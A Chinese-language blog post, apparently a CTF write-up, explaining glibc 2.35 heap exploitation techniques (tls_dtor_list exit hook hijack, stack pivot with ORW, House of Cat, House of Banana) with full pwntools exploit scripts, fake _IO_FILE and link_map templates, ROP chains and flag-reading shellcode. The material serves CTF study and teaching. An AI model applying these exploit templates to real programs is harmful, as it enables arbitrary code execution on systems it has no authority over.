运用exithook:
劫持tls_dtor_list:
例题(XYCTF2024 ptmalloc2 it‘s myheap pro):
题目的libc版本是2.35,在glibc2.34版本的时候我们常用的exithook(比如dl_rtld_lock_recursive和dl_rtld_unlock_recursive)就被删除了,所以在这道题里面我们劫持另一个exithook,tls_dtor_list,但这里和之前我们常用exithook不同,它并不是简单地覆盖就可以执行了,它的利用过程相较于之前常用的exithook更复杂。下面详细讲一下。
劫持tls_dtor_list:
函数调用链
exit
__run_exit_handlers
__call_tls_dtors
func (cur->obj)
Dump of assembler code for function __call_tls_dtors:
0x00007ffff7c45d60 <+0>: endbr64
0x00007ffff7c45d64 <+4>: push rbp
0x00007ffff7c45d65 <+5>: push rbx
0x00007ffff7c45d66 <+6>: sub rsp,0x8
0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d401f] # 0x7ffff7e19d90
0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45d75 <+21>: test rbp,rbp
0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__call_tls_dtors+93>
0x00007ffff7c45d7a <+26>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18]
0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0]
0x00007ffff7c45d88 <+40>: ror rax,0x11
0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30
0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx
0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8]
0x00007ffff7c45d9d <+61>: call rax
0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10]
0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1
0x00007ffff7c45dac <+76>: mov rdi,rbp
0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <free@plt>
0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45db8 <+88>: test rbp,rbp
0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__call_tls_dtors+32>
0x00007ffff7c45dbd <+93>: add rsp,0x8
0x00007ffff7c45dc1 <+97>: pop rbx
0x00007ffff7c45dc2 <+98>: pop rbp
0x00007ffff7c45dc3 <+99>: ret
End of assembler dump.
__call_tls_dtors+10:将偏移值存入rbx
__call_tls_dtors+17:将fs基地址偏移后的地址的值存入rbp,也就是tls_dtor_list的值
__call_tls_dtors+21:判断tls_dtor_list是否为空,如果不为空则继续进行
__call_tls_dtors+36:将tls_dtor_list地址开始的前8个字节作为地址取值并传入rax
__call_tls_dtors+57:将tls_dtor_list地址开始,将+8到+16范围的值传入rdi
__call_tls_dtors+40:将rax的值循环右移17位
__call_tls_dtors+44:将rax的值与fs+0x30处的值异或
__call_tls_dtors+61:call rax
从以上看来,并不是直接call tls_dtor_list里的值,而是将tls_dtor_list前8字节当作地址取其值,存入rbp,再取rbp的值存入rax,再循环右移17位,再与fs+0x30的值异或,最后才call rax。
完整exp:
from pwn import*
p=process('./heappro')
free_got=0x403F98
manba=0x401700
def alloc(index,size,content):
p.sendlineafter(b'>>>',str(1))
p.sendlineafter(b'input chunk_idx:',str(index))
p.sendlineafter(b'Enter chunk size:',str(size))
p.sendafter(b'Enter chunk data:',content)
def free(index):
p.sendlineafter(b'>>>',str(2))
p.sendlineafter(b'Enter chunk id:',str(index))
def show(index):
p.sendlineafter(b'>>>',str(3))
p.sendlineafter(b'Enter chunk id:',str(index))
def exit():
p.sendlineafter(b'>>>',str(4))
alloc(0,0x28,b'aa')
alloc(1,0x28,b'aa')
alloc(2,0x18,b'aa')
free(0)
free(1)
alloc(3,0x18,b'a'*0x10)
show(3)
p.recvuntil(b'a'*0x10)
heapbase=u64(p.recv(4).ljust(8,b'\x00'))-0x2c0
free(3)
alloc(3,0x18,p64(0)+p64(1)+p64(heapbase+0x2d0))
alloc(4,0x28,p64(0)*4)
alloc(5,0x28,p64(0x30)+p64(0x91)*3)
for i in range(6,13):
alloc(i,0x80,b'aa')
for i in range(6,13):
free(i)
free(1)
show(5)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
print("libcbase=="+hex(libcbase))
for i in range(6,13):
alloc(i,0x80,b'aa')
alloc(1,0x80,b'aa')
alloc(14,0x28,b'aa')
free(14)
free(4)
show(1)
p.recvuntil(b'\x00\x31')
p.recv(15)
key=u64(p.recv(8))
free(1)
tls_dtor_list8=libcbase-0x2920
print("tls_dtor_list=="+hex(tls_dtor_list8))
fd=(heapbase>>12)^tls_dtor_list8
print("fd=="+hex(fd))
print("heapbase >> 12=="+hex(heapbase >> 12))
payload=p64(0)*3+p64(0x21)+p64(heapbase>>12)+p64(0)
payload+=p64(heapbase+0x3c0)+p64(0x31)+p64(fd)+p64(key)
alloc(1,0x80,payload)
alloc(14,0x28,b'aa')
free(6)
free(7)
fs30_addr=libcbase-0x2890
print("fs+30=="+hex(fs30_addr))
payload=p64(0x10)+p64(1)+p64(fs30_addr-0x8)
alloc(4,0x18,payload)
show(6)
p.recvuntil(b'\x00')
p.recv(7)
fs30=u64(p.recv(8))
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
system=system^fs30
system=bin(system)[2:].zfill(64)
system=int(system[17:]+system[:17],2)
payload=p64(system)+p64(binsh)
free(3)
alloc(3,0x18,payload)
payload=p64(0)+p64(heapbase+0x2a0)
alloc(15,0x28,payload)
exit()
p.interactive()
#补充1:这里的tls_dtor_list8是tls_dtor_list-0x8,因为创建堆块的性质,所以选择在-0x8处创建堆块,tls_dtor_list的地址可以用gdb找出。
#补充2:最后system进行的是循环左移,与逻辑左移不同
#补充3:在glibc2.35中,只有覆盖fd为目标地址与heapbase>>12的值,才能正确地将fd设置为目标地址。
#补充4:因为__call_tls_dtors是将tls_dtor_list前8字节当作地址取其值,存入rbp,再取rbp的值存入rax,所以要覆盖tls_dtor_list为存有system的堆块地址。
#补充5:fs的基地址也可以用gdb找出,用fsbase命令。
#补充5:这里之所以可以覆盖fd是因为利用了程序,最开始先控制两个0x20大小的堆块,将将要伪造的堆块的地址填到程序申请堆块的地址,然后再填充0x91到size位伪造堆块,将对应的0x20大小堆块以及伪造堆块分别放到fastbin和unsortedbin,后面再申请0x80就可以得到一个不破坏堆块结构的0x80大小的堆块了。
栈迁移+ORW:
例题(XYCTF2024 ptmalloc2 it‘s myheap plus):
泄露libc和堆地址就不多说了,fastbin duf也不解释了。这里主要是利用fastbin duf在environ附近创建堆块,泄露environ中的栈地址,然后就利用fastbin duf修改rbp和返回地址进行栈迁移了,迁移目标地址是我们填充ROP的堆块地址(栈迁移前要完成修改堆块地址处权限、将ROP填充到堆块中。
完整exp:
from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./heapplus')
p=remote('gz.imxbt.cn',20680)
def alloc(index,size,content):
p.sendlineafter(b'>>>',bytes(str(1).encode('utf-8')))
p.sendlineafter(b'chunk_idx:',bytes(str(index).encode('utf-8')))
p.sendlineafter(b'size: ',bytes(str(size).encode('utf-8')))
p.sendafter(b'data:',content)
def free(index):
p.sendlineafter(b'>>>',bytes(str(2).encode('utf-8')))
p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def show(index):
p.sendlineafter(b'>>>',bytes(str(3).encode('utf-8')))
p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def exit():
p.sendlineafter(b'>>>',bytes(str(4).encode('utf-8')))
for i in range(7):
alloc(i,0x80,b'aaaa')
alloc(7,0x80,b'aaaa')
alloc(8,0x80,b'aaaa')
alloc(9,0x80,b'aaaa')
for i in range(7):
free(i)
free(7)
free(8)
for i in range(7):
alloc(i,0x80,b'aaaa')
alloc(10,0x18,p64(0x80)+p64(1))
show(7)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-(0x750dcd21ace0-0x750dcd000000)
show(10)
p.recv(8)
p.recv(8)
p.recv(8)
heapbase=u64(p.recv(8))- (0x57369a90c870 - 0x57369a90b000)
print(hex(heapbase))
for i in range(7):
alloc(i,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(8,0x68,b'aa')
alloc(9,0x68,b'aa')
for i in range(7):
free(i)
free(7)
free(8)
for i in range(7):
alloc(i,0x68,b'aa')
alloc(10,0x18,p64(0x68)+p64(1))
for i in range(7):
free(i)
free(7)
for i in range(7):
alloc(i,0x68,b'aaaa')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
environ=libcbase+libc.sym['__environ']
pos=heapbase+(0x5a28a79cbb30-0x5a28a79cb000)
target=(pos>>12)^(environ-0x10)
alloc(7,0x68,p64(target))
alloc(8,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(7,0x68,b'a'*0x10)
show(7)
p.recvuntil(b'a'*0x10)
onestack=u64(p.recv(8))
rbp=onestack-(0x7ffecf5425e8-0x7ffecf5424c0)
rsp=onestack-(0x7ffecf5425e8-0x7ffecf5424c8)
for i in range(7):
alloc(i,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(8,0x58,b'aa')
alloc(9,0x58,b'aa')
for i in range(7):
free(i)
free(7)
free(8)
for i in range(7):
alloc(i,0x58,b'aa')
alloc(10,0x18,p64(0x58)+p64(1))
for i in range(7):
free(i)
free(7)
for i in range(7):
alloc(i,0x58,b'aa')
ret=libcbase+0x0000000000029139
leave_ret=libcbase+0x000000000004da83
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rcx=libcbase+0x000000000003d1ee
pop_r8=libcbase+0x00000000001659e6
reads=libcbase+libc.sym['read']
mmap=libcbase+libc.sym['mmap']
mprotect=libcbase+libc.sym['mprotect']
block_addr=heapbase+(0x5acfdfaa5010-0x5acfdfaa3000)
block_addr2=heapbase+(0x5c22450170c0-0x5c2245015000)
payload=p64(pop_rdi)+p64(heapbase)
payload+=p64(pop_rsi)+p64(0x21000)
payload+=p64(pop_rdx_r12)+p64(7)+p64(0)
payload+=p64(mprotect)
payload+=p64(block_addr2+0x10)
alloc(11,0x80,payload)
payload=b'flag'
payload=payload.ljust(0x10,b'\x00')
payload+=asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
alloc(12,0x80,payload)
pos=heapbase+(0x644695eefeb0-0x644695eee000)
alloc(7,0x58,p64((rbp)^(pos>>12)))
alloc(8,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(7,0x58,p64(block_addr-0x8)+p64(leave_ret))
exit()
p.interactive()
House of Cat:
原理:
调用顺序:
exit->_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode
_IO_wfile_seekoff源码:
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
libc_hidden_def (_IO_wfile_seekoff)
_IO_switch_to_wget_mode源码:
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
0x7ffff7c83cb0 <_IO_switch_to_wget_mode> endbr64
0x7ffff7c83cb4 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7ffff7c83cbb <_IO_switch_to_wget_mode+11> push rbx
0x7ffff7c83cbc <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7ffff7c83cbf <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7ffff7c83cc3 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7ffff7c83cc7 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56
0x7ffff7c83cc9 (_IO_switch_to_wget_mode+25) ◂— mov rax, qword ptr [rax + 0xe0]
0x7ffff7c83cd5 (_IO_switch_to_wget_mode+37) ◂— call qword ptr [rax + 0x18]
我们可以伪造_IO_FILE结构体,我们可以控制执行流
# rax1=[rdi+0xa0]
# rdx=[rax+0x20]
# rax2=[rax+0xe0]
# call [rax+0x18]
fake_IO_FILE=p64(pop_rdi) #需修改地址
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)#rax2
fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2 #需修改地址
fake_IO_FILE+=p64(ret)
这里伪造_IO_FILE结构体可以直接照着模板写
例题(ciscn2024 初赛 EzHeap):
环境:glibc 2.35
知识点:堆溢出、House of Cat
###解题思路:
利用largebin泄露出libc地址和heap地址,利用堆溢出在_IO_list_all处写入伪造_IO_FILE结构体地址,在某一堆块伪造_IO_FILE地址,在某一堆块写入orw,exit触发IO流完成ORW。
gdb查看结构体操作:
###伪造后的_IO_FILE结构体:
完整exp:
from pwn import*
#context(log_level='debug')
p=process('./ezheap')
def alloc(size,content):
p.sendlineafter(b'>>',b'1')
p.sendlineafter(b'size:',str(size).encode('utf-8'))
p.sendafter(b'content',content)
def free(index):
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def edit(index,content):
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'idx:',str(index).encode('utf-8'))
p.sendlineafter(b'size:',str(len(content)).encode('utf-8'))
p.sendafter(b'content',content)
def show(index):
p.sendlineafter(b'>>',b'4')
p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def gdbs():
gdb.attach(p)
pause()
alloc(0x200,b'aa')
alloc(0x420,b'aa')
alloc(0x420,b'aa')
free(1)
alloc(0x440,b'aa')
show(0)
payload=b'a'*0x210
edit(0,payload)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21b0d0
payload=b'a'*0x220
edit(0,payload)
show(0)
p.recvuntil(b'a'*0x220)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x2510
payload=b'a'*0x200+p64(0)+p64(0x431)
edit(0,payload)
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')#11
free(11)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(((heapbase+0x19f0)>>12)^(IO_list_all))+p64(0)
edit(3,payload)
chunk0=heapbase+0x2300
chunk1=heapbase+0x2d80
chunk2=heapbase+0x2950
chunknew=heapbase+0x19f0
fake_IO_FILE_addr=chunk0+0x10
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rax=libcbase+0x0000000000045eb0
syscall=libcbase+0x91316
_IO_wfile_jumps=libcbase+0x2170c0
setcontext=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
flag_addr=chunknew+0x10
orw_addr=chunk2+0x10
fake_IO_FILE=p64(pop_rdi)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)
fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2
fake_IO_FILE+=p64(ret)
edit(0,fake_IO_FILE)
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
edit(2,orw)
print("orw="+hex(orw_addr))
print("setcontext3d="+hex(setcontext+0x3d))
print("pop_rdi="+hex(pop_rdi))
alloc(0x60,b'flag\x00')#flag_addr
alloc(0x60,p64(fake_IO_FILE_addr))
p.sendlineafter(b'>>',b'5')
p.interactive()
House of Banana:
例题(ISCC2024 heapheap):
delete存在uaf漏洞
largebin attack手法:
#创建4个堆块,其中第1个堆块和第3个堆块为可入largebin大小,第3个堆块大小小于第一个堆块,剩余的两个为保护堆块,大小适当即可
#释放堆块1,申请一个比堆块1更大的堆块
#释放堆块3
#修改堆块1的bk_nextsize为目标地址-0x20
#再申请一个比堆块1大的堆块,向目标地址写入堆块3的地址
伪造link_map:
link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr 此处为指针数组array
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29] 此处除以8为i
link_map+=b"flag\x00\x00\x00\x00" #array[0]
link_map+=p64(chunk_base) #chunkbase为伪造link map的地址
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) #此处为ret 单纯只是ret
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68 read第一个参数
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70 此处为read的第二个参数
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88 此处为read第三个参数
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480 在setcontext执行后为rsp
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8 setcontext会跳转执行rcx
link_map+=p64(0)*36
link_map+=p64(0x800000000)
伪造link map主要是想利用结构体中的函数执行array[i]()
也就是执行read,将orw写入目标地址
这里可以直接照模板写
gdb查看原有link map操作:
rtld_global的指针是指向link map结构体的,所以可以查看其内容知道link map地址
输入命令:x/4gx &_rtld_global
输入命令:p *((struct link_map*)0x00007f9e6b7cd190)
完整exp:
from pwn import*
context(arch='amd64')
p=process('./heapheap')
def alloc(index,size):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b"index:\n", str(index).encode())
p.sendlineafter(b"Size:\n", str(size).encode())
def show(index):
p.sendlineafter(b'Your choice:\n', b'2')
p.sendlineafter(b"index:\n", str(index).encode())
p.recvline()
def edit(index,content):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b"index:", str(index).encode())
p.sendafter(b"context:",content)
def free(index):
p.sendlineafter(b'Your choice:', b'4')
p.sendlineafter(b"index:\n", str(index).encode())
alloc(0,0x428)
alloc(1,0x500)
alloc(2,0x418)
free(0)
alloc(3,0x500)
show(0)
fd=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('./libc-2.31.so')
libcbase=fd-0x430-0x30-libc.sym['__malloc_hook']
success("libcbase="+hex(libcbase))
payload=b'a'*0x10
edit(0,payload)
show(0)
p.recv(0x10)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x290
rtld_global=libcbase+0x228060-0x6000
free(2)
chunk_base=heapbase+0xbd0
print("l_next="+hex(rtld_global+0x16e0))
print("l_real="+hex(chunk_base))
print("l-info[26]="+hex(chunk_base+0x110))
print("l-info[27]="+hex(chunk_base+0x110+0x20))
print("rsp="+hex(chunk_base+0x1f8))
print("setcontext_3d="+hex(libcbase+libc.sym['setcontext']+0x3d))
print("pop_rdi="+hex(libcbase+0x23b6a))
print("chunkbase="+hex(chunk_base))
print("read="+hex(libc.sym['read']))
payload=p64(fd)*2+p64(oneheap)+p64(rtld_global-0x20)
edit(0,payload)
alloc(4,0x500)
pop_rdi=libcbase+0x23b6a
pop_rsi=libcbase+0x2601f
pop_rdx=libcbase+0x119431
setcontext_3d=libcbase+libc.sym['setcontext']+0x3d
l_next=rtld_global+0x16e0
link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29]
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1)
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2,link_map)
p.sendlineafter(b'Your choice:',b'5')
flag_addr = chunk_base+0x130
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(libcbase+libc.sym['open'])
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['read'])
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['write'])
p.send(orw)
p.interactive()
持续更新
标签:map,alloc,p64,堆块,FILE,glibc2.35,CTFPwn,IO,fake From: https://blog.csdn.net/2301_79326813/article/details/140783696